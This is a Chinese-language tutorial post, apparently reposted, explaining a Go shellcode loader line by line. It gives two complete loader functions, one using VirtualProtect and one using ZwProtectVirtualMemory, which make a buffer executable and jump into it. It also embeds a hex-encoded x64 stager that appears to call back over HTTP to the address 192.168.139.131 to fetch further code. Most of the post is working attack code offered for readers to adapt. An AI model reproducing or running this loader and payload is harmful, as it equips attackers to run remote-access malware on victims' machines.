理解go语言的shellcode加载器


序言

本文假设你知道unsafe包常见函数的用法,若否,请查看 https://books.studygolang.com/gopl-zh/ch13/ch13-01.html  第13章。

例子和代码详解

func Run(sc []byte){
    f := func(){}  //实例化一个函数,f是指向该函数的指针
    //方法1
    *(**uintptr)(unsafe.Pointer(&f)) = (*uintptr)(unsafe.Pointer(&sc))  
  // (**uintptr)(unsafe.Pointer(&f))是获取一个指向f指针的指针,并转化为**uintptr类型, 为*(**uintptr)(unsafe.Pointer(&f))赋值,意为把一个指向函数的指针的指针指向(*uintptr)(unsafe.Pointer(&sc))
   //被重新赋值后,相当于把f这个函数指针替换为新值指针,即(*uintptr)(unsafe.Pointer(&sc))这个指针,这样当后面执行f函数时,相当于执行赋值语句(*uintptr)(unsafe.Pointer(&sc))所指向的区域,
  //为*(*uintptr)(unsafe.Pointer(&sc)),即sc的值
  var oldfperms2 uint32
    syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect").Call(  //virtualprotect的参数用法可自行百度下面着重理解每个参数的含义
        uintptr(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&sc)))), 
    //(**uintptr)(unsafe.Pointer(&sc))是把指向sc的指针转为uintptr类型的指针的指针(一个slice中,a []int中的&a地址中保存的内容实际上是指向&a[0]的指针,所以(**uintptr)(unsafe.Pointer(&sc))实际上是一个指向&a[0]的指针
       //而*(**uintptr)(unsafe.Pointer(&sc))即为&sc[0],sc实际存储变量的起始地址位。这个语句实际上等价于uintptr(unsafe.Pointer(&sc[0]))。
    //因为uintptr和unsafe.Pointer是可以互转的,参数类型要求为uintptr,变把地址转为uintptr格式再传入,下面uintptr()的作用也一样
       uintptr(uint(len(sc))),
       //获取sc的连续地址的长度
        uintptr(uint32(0x40)), //更改内存属性
        uintptr(unsafe.Pointer(&oldfperms2)))
    f() //执行指向了sc的内存
    //这里其实还有一种更简单的执行方法,syscall.sysCall(uintptr(unsafe.Pointer(&sc[0])),0,0,0,0)


}


func main(){
  //v := shellcode ,即除去\x后的字符串
    v := "fc4883e4f0e8c8000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b0275728b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94fffffff5d6a0049be77696e696e65740041564989e64c89f141ba4c772607ffd54831c94831d24d31c04d31c94150415041ba3a5679a7ffd5eb735a4889c141b8210300004d31c9415141516a03415141ba57899fc6ffd5eb595b4889c14831d24989d84d31c9526800024084525241baeb552e3bffd54889c64883c3506a0a5f4889f14889da49c7c0ffffffff4d31c9525241ba2d06187bffd585c00f859d01000048ffcf0f848c010000ebd3e9e4010000e8a2ffffff2f4833697900daf064f6eacecfdd541cae73d06014c59e0e0475b3804ee9b6093bf04719505589d350280f4c7db9b7750e02babdf4ad3fdb64621f9ea6978a39f6e87ee42794b8d18088dbfc757e2800557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d5349452031302e303b2057696e646f7773204e5420362e323b2057696e36343b207836343b2054726964656e742f362e30290d0a009c9549000c3c5675aa0ab9fb8e9260cc26850b18310273bae636ef582ee8970bcb75bc33a3d9bbf86f7c7c0c01c96680c164fe6e4cdee9ef277d27ac2b399d55ac2b5b4887790cc1b19e546b5948f5da5344ceb28c64d4cdc47351983aad24c136a14dd267477238dca046d4c554760d78099dc25a44829d7b7f3b11e78e329e1ca78aefd085f0b15685b63d27c289504707fb158a65a0fad964ac91fe889c304dc94634c40b63a73127780a605317ae66b8fa5d684bee7ff710ec3dc8d61e83a52b4453b7eb009f021fdd6e1a066f4d561a5f9f0041bef0b5a256ffd54831c9ba0000400041b80010000041b94000000041ba58a453e5ffd5489353534889e74889f14889da41b8002000004989f941ba129689e2ffd54883c42085c074b6668b074801c385c075d758585848050000000050c3e89ffdffff3139322e3136382e3133392e3133310012345678";
   //把字符串转为[]byte[]后使用Run加载 
  a,err := hex.DecodeString(v)
    if err!= nil{
        log.Fatalln()
    }
    Run(a)

}

如果都能理解下来基本后面要编写和修改自己的shellcode加载器就没什么问题了,还有一个shellcode加载的小例子,内存属性更改的函数所需要参数和上面的VirutalProtect也略有不同,可以尝试自行理解

//方法2
func Run(sc []byte){
   f := func(){}
   *(**uintptr)(unsafe.Pointer(&f)) = (*uintptr)(unsafe.Pointer(&sc))
   var oldfperms2 uint32
  var pBaseAddr = uintptr(unsafe.Pointer(&sc[0]))
   var hProcess uintptr = 0
   var dwBufferLen = uint(len(sc))

   syscall.NewLazyDLL("ntdll").NewProc("ZwProtectVirtualMemory").Call(
        hProcess-1,
        uintptr(unsafe.Pointer(&pBaseAddr)),
        uintptr(unsafe.Pointer(&dwBufferLen)),
        0x20,
        uintptr(unsafe.Pointer(&oldfperms2)))
    f()
}
另附一个别人收集的用于加载shellcode的一些方法和使用例子:https://github.com/Ne0nd0g/go-shellcode


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM